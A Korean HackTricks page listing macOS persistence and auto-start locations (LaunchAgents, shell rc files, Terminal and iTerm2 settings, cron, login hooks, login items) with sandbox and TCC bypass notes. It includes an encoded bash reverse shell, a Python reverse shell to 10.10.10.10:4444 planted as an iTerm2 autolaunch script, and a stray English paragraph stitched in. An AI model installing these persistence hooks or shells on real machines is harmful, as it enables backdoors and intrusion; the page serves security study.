macOS Auto Start

HackTricks 지원

이 섹션은 블로그 시리즈 Beyond the good ol' LaunchAgents를 기반으로 하며, 목표는 더 많은 자동 시작 위치를 추가하고, 최신 macOS 버전(13.4)에서 여전히 작동하는 기술을 나타내며 필요한 권한을 명시하는 것입니다.

샌드박스 우회

여기에서는 샌드박스 우회에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 파일에 작성하고 매우 일반적인 동작, 특정 시간 또는 루트 권한이 필요하지 않은 샌드박스 내부에서 일반적으로 수행할 수 있는 동작을 기다려 간단히 무언가를 실행할 수 있습니다.

Launchd

  • 샌드박스 우회에 유용:

  • TCC 우회: 🔴

위치

  • /Library/LaunchAgents

  • 트리거: 재부팅

  • 루트 권한 필요

  • /Library/LaunchDaemons

  • 트리거: 재부팅

  • 루트 권한 필요

  • /System/Library/LaunchAgents

  • 트리거: 재부팅

  • 루트 권한 필요

  • /System/Library/LaunchDaemons

  • 트리거: 재부팅

  • 루트 권한 필요

  • ~/Library/LaunchAgents

  • 트리거: 다시 로그인

  • ~/Library/LaunchDemons

  • 트리거: 다시 로그인

**launchd**에는 다른 잘 알려진 서비스를 시작해야 하는 내장된 속성 목록이 포함되어 있습니다. 또한, 이러한 서비스에는 RequireSuccess, RequireRun, RebootOnSuccess가 포함될 수 있으며, 이는 해당 서비스가 실행되고 성공적으로 완료되어야 함을 의미합니다.

물론, 코드 서명으로 인해 수정할 수 없습니다.

설명 및 이용

**launchd**는 부팅 시에 OX S 커널에 의해 실행되는 첫 번째 프로세스이며 종료 시에 실행되는 마지막 프로세스입니다. 항상 PID 1을 가져야 합니다. 이 프로세스는 다음 위치에 있는 ASEP plist에서 지정된 구성을 읽고 실행할 것입니다:

  • /Library/LaunchAgents: 관리자가 설치한 사용자별 에이전트

  • /Library/LaunchDaemons: 관리자가 설치한 시스템 전역 데몬

  • /System/Library/LaunchAgents: Apple이 제공하는 사용자별 에이전트

  • /System/Library/LaunchDaemons: Apple이 제공하는 시스템 전역 데몬

사용자가 로그인하면 /Users/$USER/Library/LaunchAgents/Users/$USER/Library/LaunchDemons에 있는 plist가 로그인한 사용자의 권한으로 시작됩니다.

에이전트와 데몬의 주요 차이점은 에이전트는 사용자가 로그인할 때 로드되고 데몬은 시스템 부팅 시 로드된다는 것입니다(시스템에 액세스하기 전에 ssh와 같은 서비스가 실행되어야 하는 경우가 있기 때문). 또한 에이전트는 GUI를 사용할 수 있지만 데몬은 백그라운드에서 실행되어야 합니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

사용자 로그인 전에 실행되어야 하는 경우가 있는데, 이를 PreLoginAgents라고 합니다. 예를 들어, 이는 로그인 시 보조 기술을 제공하는 데 유용합니다. 이러한 파일들은 /Library/LaunchAgents에서도 찾을 수 있습니다(여기에서 예제 확인).

새로운 데몬 또는 에이전트 구성 파일은 다음 재부팅 후 또는 launchctl load <대상.plist>을 사용하여 로드됩니다. 또한 .plist 확장자 없이도 launchctl -F <파일>로드할 수 있습니다(그러나 해당 plist 파일들은 자동으로 재부팅 후 로드되지 않습니다). launchctl unload <대상.plist>언로드할 수도 있습니다(해당 프로세스는 종료됩니다).

Agent 또는 Daemon실행되는 것을 방해하는 것(예: 오버라이드)이 없는지 확인하려면 다음을 실행하십시오: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

현재 사용자에 의해 로드된 모든 에이전트와 데몬을 나열하십시오:

launchctl list

만약 plist 파일이 사용자에 의해 소유되었다면, 데몬 시스템 전역 폴더에 있더라도 작업은 사용자로 실행되고 root로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.

launchd에 대한 자세한 정보

**launchd**는 커널에서 시작되는 첫 번째 사용자 모드 프로세스입니다. 프로세스 시작은 성공적이어야 하며 종료되거나 충돌해서는 안됩니다. 심지어 일부 종료 신호에 대해 보호됩니다.

launchd가 수행하는 첫 번째 작업 중 하나는 다음과 같은 모든 데몬을 시작하는 것입니다:

  • 시간 기반 타이머 데몬:

    • atd (com.apple.atrun.plist): StartInterval은 30분

    • crond (com.apple.systemstats.daily.plist): StartCalendarInterval은 00:15에 시작

  • 네트워크 데몬:

    • org.cups.cups-lpd: SockType: stream으로 TCP에서 수신하며 SockServiceName: printer

    • SockServiceName은 /etc/services에서 포트 또는 서비스여야 함

    • com.apple.xscertd.plist: 포트 1640에서 TCP 수신

  • 경로 데몬:

    • 지정된 경로가 변경될 때 실행되는 데몬

    • com.apple.postfix.master: /etc/postfix/aliases 경로 확인

  • IOKit 알림 데몬:

    • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Mach 포트:

    • com.apple.xscertd-helper.plist: MachServices 항목에서 com.apple.xscertd.helper 이름 표시

  • UserEventAgent:

    • 이전 것과 다릅니다. 특정 이벤트에 대한 응답으로 launchd가 앱을 생성합니다. 그러나 이 경우, 주된 이진 파일은 launchd가 아니라 /usr/libexec/UserEventAgent입니다. 각 플러그인은 XPCEventModuleInitializer 키 또는 이전 플러그인의 경우 Info.plistCFPluginFactories 사전의 FB86416D-6164-2070-726F-70735C216EC0 키 아래에서 초기화 프로그램을 나타냅니다.

셸 시작 파일

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • 샌드박스 우회에 유용:

  • TCC 우회:

  • 그러나 이 파일을 로드하는 셸을 실행하는 TCC 우회를 가진 앱을 찾아야 합니다.

위치

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

    • 트리거: zsh로 터미널 열기

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

    • 트리거: zsh로 터미널 열기

    • 루트 권한 필요

  • ~/.zlogout

    • 트리거: zsh로 터미널 종료

  • /etc/zlogout

    • 트리거: zsh로 터미널 종료

    • 루트 권한 필요

  • **man zsh**에서 추가 정보 확인 가능

  • ~/.bashrc

    • 트리거: bash로 터미널 열기

  • /etc/profile (작동하지 않음)

  • ~/.profile (작동하지 않음)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

    • 트리거: xterm으로 예상되지만 설치되어 있지 않으며 설치 후에도 다음 오류가 발생합니다: xterm: DISPLAY is not set

설명 및 악용

zsh 또는 bash와 같은 셸 환경을 초기화할 때 특정 시작 파일이 실행됩니다. macOS는 현재 기본 셸로 /bin/zsh를 사용합니다. 이 셸은 터미널 애플리케이션을 시작하거나 SSH를 통해 장치에 액세스할 때 자동으로 액세스됩니다. macOS에는 bashsh도 있지만 명시적으로 호출하여 사용해야 합니다.

우리가 **man zsh**로 읽을 수 있는 zsh의 man 페이지에는 시작 파일에 대한 상세한 설명이 있습니다.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

다시 열린 애플리케이션

지정된 악용을 구성하고 로그아웃 및 로그인 또는 심지어 재부팅을 해도 앱을 실행할 수 없었습니다. (앱이 실행되지 않았습니다. 아마도 이러한 작업이 수행될 때 실행 중이어야 할 수도 있습니다)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • 샌드박스 우회에 유용함:

  • TCC 우회: 🔴

위치

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • 트리거: 다시 열린 애플리케이션 재시작

설명 및 악용

다시 열 애플리케이션은 plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 내에 있습니다.

따라서 다시 열 애플리케이션을 자체 앱으로 실행하려면 앱을 목록에 추가하면 됩니다.

UUID는 해당 디렉토리를 나열하거나 ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'로 찾을 수 있습니다.

다시 열릴 애플리케이션을 확인하려면 다음을 수행할 수 있습니다:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

이 목록에 응용 프로그램을 추가하려면 다음을 사용할 수 있습니다:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

터미널 환경 설정

  • 샌드박스 우회에 유용함:

  • TCC 우회:

  • 터미널은 사용자의 FDA 권한을 사용하여 사용됨

위치

  • ~/Library/Preferences/com.apple.Terminal.plist

  • 트리거: 터미널 열기

설명 및 공격

**~/Library/Preferences**에는 사용자의 응용 프로그램 환경 설정이 저장됩니다. 이러한 환경 설정 중 일부는 다른 응용 프로그램/스크립트를 실행할 수 있는 구성을 보유할 수 있습니다.

예를 들어, 터미널은 시작 시 명령을 실행할 수 있습니다:

이 구성은 파일 **~/Library/Preferences/com.apple.Terminal.plist**에 다음과 같이 반영됩니다:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

그래서, 시스템의 터미널 환경 설정 파일(plist)이 덮어쓰여진다면, open 기능을 사용하여 터미널을 열고 해당 명령이 실행될 수 있습니다.

다음 명령을 사용하여 cli에서 이를 추가할 수 있습니다:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

터미널 스크립트 / 다른 파일 확장자

  • 샌드박스 우회에 유용함:

  • TCC 우회:

  • 터미널을 사용하여 사용자의 FDA 권한을 가질 수 있음

위치

  • 어디서나

  • 트리거: 터미널 열기

설명 및 악용

만약 .terminal 스크립트를 생성하고 열면, 터미널 애플리케이션이 자동으로 호출되어 거기에 표시된 명령을 실행합니다. 터미널 앱에 특별한 권한(예: TCC)이 있는 경우, 해당 특별한 권한으로 명령이 실행됩니다.

다음과 함께 시도해보세요:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

오디오 플러그인

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • 샌드박스 우회에 유용함:

  • TCC 우회: 🟠

  • 추가 TCC 액세스를 얻을 수 있음

위치

  • /Library/Audio/Plug-Ins/HAL

  • 루트 권한 필요

  • 트리거: coreaudiod 또는 컴퓨터 재시작

  • /Library/Audio/Plug-ins/Components

  • 루트 권한 필요

  • 트리거: coreaudiod 또는 컴퓨터 재시작

  • ~/Library/Audio/Plug-ins/Components

  • 트리거: coreaudiod 또는 컴퓨터 재시작

  • /System/Library/Components

  • 루트 권한 필요

  • 트리거: coreaudiod 또는 컴퓨터 재시작

설명

이전의 글들에 따르면 일부 오디오 플러그인을 컴파일하고 로드할 수 있습니다.

QuickLook 플러그인

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • 샌드박스 우회에 유용함:

  • TCC 우회: 🟠

  • 추가 TCC 액세스를 얻을 수 있음

위치

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

설명 및 이용

QuickLook 플러그인은 파일 미리보기를 트리거할 때(파인더에서 파일을 선택한 상태에서 스페이스 바를 누름) 해당 파일 유형을 지원하는 플러그인이 설치되어 있으면 실행됩니다.

자체 QuickLook 플러그인을 컴파일하여 이전 위치 중 하나에 배치한 다음 지원되는 파일로 이동하여 스페이스를 눌러 트리거할 수 있습니다.

로그인/로그아웃 후크

나에게는 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook 모두 작동하지 않았습니다.

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • 샌드박스 우회에 유용함:

  • TCC 우회: 🔴

위치

  • defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh와 같은 명령을 실행할 수 있어야 함

  • ~/Library/Preferences/com.apple.loginwindow.plist에 위치함

이러한 후크는 사용자가 로그인할 때 명령을 실행할 수 있도록 지원이 중단되었지만 사용할 수 있습니다.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

이 설정은 /Users/$USER/Library/Preferences/com.apple.loginwindow.plist에 저장됩니다.

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

삭제하려면:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

루트 사용자는 **/private/var/root/Library/Preferences/com.apple.loginwindow.plist**에 저장됩니다.

조건부 샌드박스 우회

여기에서는 샌드박스 우회에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 파일에 쓰기만으로 간단히 무언가를 실행할 수 있고, 특정 프로그램이 설치되어 있거나 "일반적이지 않은" 사용자 조치 또는 환경과 같이 특정하지 않은 조건을 기대할 필요가 없습니다.

크론

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • 샌드박스 우회에 유용함:

  • 그러나 crontab 바이너리를 실행할 수 있어야 함

  • 또는 루트여야 함

  • TCC 우회: 🔴

위치

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • 직접 쓰기 액세스를 위해서는 루트가 필요함. crontab <file>을 실행할 수 있다면 루트가 필요하지 않음

  • 트리거: 크론 작업에 따라 다름

설명 및 악용

현재 사용자의 크론 작업을 나열하려면:

crontab -l

맥OS에서는 /usr/lib/cron/tabs/ 및 **/var/at/tabs/**에서 사용자의 모든 cron 작업을 볼 수 있습니다 (루트 권한 필요).

맥OS에서는 일정한 빈도로 스크립트를 실행하는 여러 폴더를 다음 위치에서 찾을 수 있습니다:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

다음에서는 일반 cron 작업, at 작업 (거의 사용되지 않음) 및 주기적 작업 (주로 임시 파일을 정리하는 데 사용됨)을 찾을 수 있습니다. 매일 주기적 작업은 다음과 같이 실행할 수 있습니다: periodic daily.

사용자 cron 작업을 프로그래밍 방식으로 추가하는 방법은 다음과 같습니다:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • 샌드박스 우회에 유용함:

  • TCC 우회:

  • iTerm2는 TCC 권한을 부여했었음

위치

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • 트리거: iTerm 열기

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • 트리거: iTerm 열기

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • 트리거: iTerm 열기

설명 및 Exploitation

**~/Library/Application Support/iTerm2/Scripts/AutoLaunch**에 저장된 스크립트가 실행됩니다. 예를 들어:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

macOS provides several locations where programs can be configured to automatically start when a user logs in. These locations include:

  1. Login Items: Found in System Preferences > Users & Groups > Login Items. Applications added here will launch when the user logs in.

  2. Launch Agents: Located in ~/Library/LaunchAgents and /Library/LaunchAgents. These are used to run programs when a user logs in.

  3. Launch Daemons: Found in /Library/LaunchDaemons and /System/Library/LaunchDaemons. These are used to start system-wide services.

  4. Startup Items: Deprecated since macOS 10.7, but still supported in some cases. Found in /Library/StartupItems.

By understanding these auto start locations, you can better manage and secure your macOS system.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

스크립트 **~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt**도 실행됩니다:

do shell script "touch /tmp/iterm2-autolaunchscpt"

iTerm2 환경 설정은 **~/Library/Preferences/com.googlecode.iterm2.plist**에 위치하며, iTerm2 터미널이 열릴 때 실행할 명령을 나타낼 수 있습니다.

이 설정은 iTerm2 설정에서 구성할 수 있습니다:

그리고 해당 명령은 환경 설정에 반영됩니다:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

다음과 같이 명령을 실행하도록 설정할 수 있습니다:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

iTerm2 환경 설정을 남용하여 임의의 명령을 실행할 수 있는 다른 방법이 있을 가능성이 매우 높습니다.

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • 샌드박스 우회에 유용함:

  • 그러나 xbar를 설치해야 함

  • TCC 우회:

  • 접근성 권한을 요청함

위치

  • ~/Library/Application\ Support/xbar/plugins/

  • 트리거: xbar가 실행될 때

설명

인기 있는 프로그램 xbar가 설치되어 있다면, **~/Library/Application\ Support/xbar/plugins/**에 셸 스크립트를 작성하여 xbar가 시작될 때 실행될 수 있습니다:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

설명: https://theevilbit.github.io/beyond/beyond_0008/

  • 샌드박스 우회에 유용함:

  • 그러나 Hammerspoon을 설치해야 함

  • TCC 우회:

  • 접근성 권한을 요청함

위치

  • ~/.hammerspoon/init.lua

  • 트리거: Hammerspoon이 실행될 때

설명

HammerspoonmacOS용 자동화 플랫폼으로, 작업에 LUA 스크립팅 언어를 활용합니다. 특히, 완전한 AppleScript 코드의 통합과 셸 스크립트의 실행을 지원하여 스크립팅 기능을 크게 향상시킵니다.

이 앱은 단일 파일인 ~/.hammerspoon/init.lua를 찾고, 시작되면 해당 스크립트가 실행됩니다.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • 샌드박스 우회에 유용:

  • 그러나 BetterTouchTool을 설치해야 함

  • TCC 우회:

  • Automation-Shortcuts 및 Accessibility 권한을 요청함

위치

  • ~/Library/Application Support/BetterTouchTool/*

이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 자신의 단축키 및 동작을 데이터베이스에서 실행하도록 구성하여 임의의 코드를 실행하게 할 수 있습니다 (단축키는 키를 누르는 것만으로도 가능합니다).

Alfred

  • 샌드박스 우회에 유용:

  • 그러나 Alfred를 설치해야 함

  • TCC 우회:

  • Automation, Accessibility 및 심지어 전체 디스크 액세스 권한을 요청함

위치

  • ???

특정 조건이 충족될 때 코드를 실행할 수 있는 워크플로우를 생성할 수 있습니다. 공격자가 워크플로우 파일을 만들고 Alfred가 로드하도록 만들 수 있습니다 (워크플로우를 사용하려면 프리미엄 버전을 구매해야 함).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • 샌드박스 우회에 유용:

  • 그러나 ssh를 활성화하고 사용해야 함

  • TCC 우회:

  • SSH는 FDA 액세스를 가지고 있어야 함

위치

  • ~/.ssh/rc

  • 트리거: ssh를 통한 로그인

  • /etc/ssh/sshrc

  • 루트 권한 필요

  • 트리거: ssh를 통한 로그인

ssh를 켜려면 전체 디스크 액세스가 필요합니다:

sudo systemsetup -setremotelogin on

설명 및 Exploitation

기본적으로 /etc/ssh/sshd_config에서 PermitUserRC no가 아닌 경우, 사용자가 SSH를 통해 로그인할 때 스크립트 /etc/ssh/sshrc 및 **~/.ssh/rc**가 실행됩니다.

로그인 항목

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • 샌드박스 우회에 유용:

  • 그러나 osascript를 인수와 함께 실행해야 함

  • TCC 우회: 🔴

위치

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • 트리거: 로그인

  • Exploit 페이로드는 **osascript**를 호출하여 저장됨

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • 트리거: 로그인

  • 루트 권한 필요

설명

시스템 환경설정 -> 사용자 및 그룹 -> 로그인 항목에서 사용자 로그인 시 실행되는 항목을 찾을 수 있습니다. 이를 목록화하고 명령줄에서 추가하거나 제거할 수 있습니다:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

이러한 항목들은 ~/Library/Application Support/com.apple.backgroundtaskmanagementagent 파일에 저장됩니다.

로그인 항목은 또한 SMLoginItemSetEnabled API를 사용하여 지정할 수 있으며, 이는 구성을 **/var/db/com.apple.xpc.launchd/loginitems.501.plist**에 저장합니다.

ZIP을 로그인 항목으로 설정

(로그인 항목에 대한 이전 섹션을 확인하십시오. 이것은 확장입니다)

ZIP 파일을 로그인 항목으로 저장하면 **Archive Utility**가 열리고, 예를 들어 **~/Library**에 저장된 ZIP 파일이 LaunchAgents/file.plist 폴더를 포함하고 있고 해당 폴더에 백도어가 포함되어 있다면 (기본적으로는 그렇지 않음) 해당 폴더가 생성되고 plist가 추가되어 사용자가 다음에 다시 로그인할 때 plist에 표시된 백도어가 실행됩니다.

다른 옵션으로는 사용자 홈 디렉토리 내에 .bash_profile.zshenv 파일을 생성하는 것이며, LaunchAgents 폴더가 이미 존재하는 경우에도 이 기술이 여전히 작동할 것입니다.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • 샌드박스 우회에 유용함:

  • 그러나 **at**을 실행해야 하며 활성화되어 있어야 함

  • TCC 우회: 🔴

위치

  • **at**을 실행해야 하며 활성화되어 있어야 함

설명

at 작업은 특정 시간에 실행되는 일회성 작업을 예약하는 데 사용됩니다. cron 작업과 달리 at 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 후에도 지속되므로 특정 조건에서 보안 문제가 될 수 있습니다.

기본적으로 비활성화되어 있지만 루트 사용자는 다음과 같이 활성화할 수 있습니다: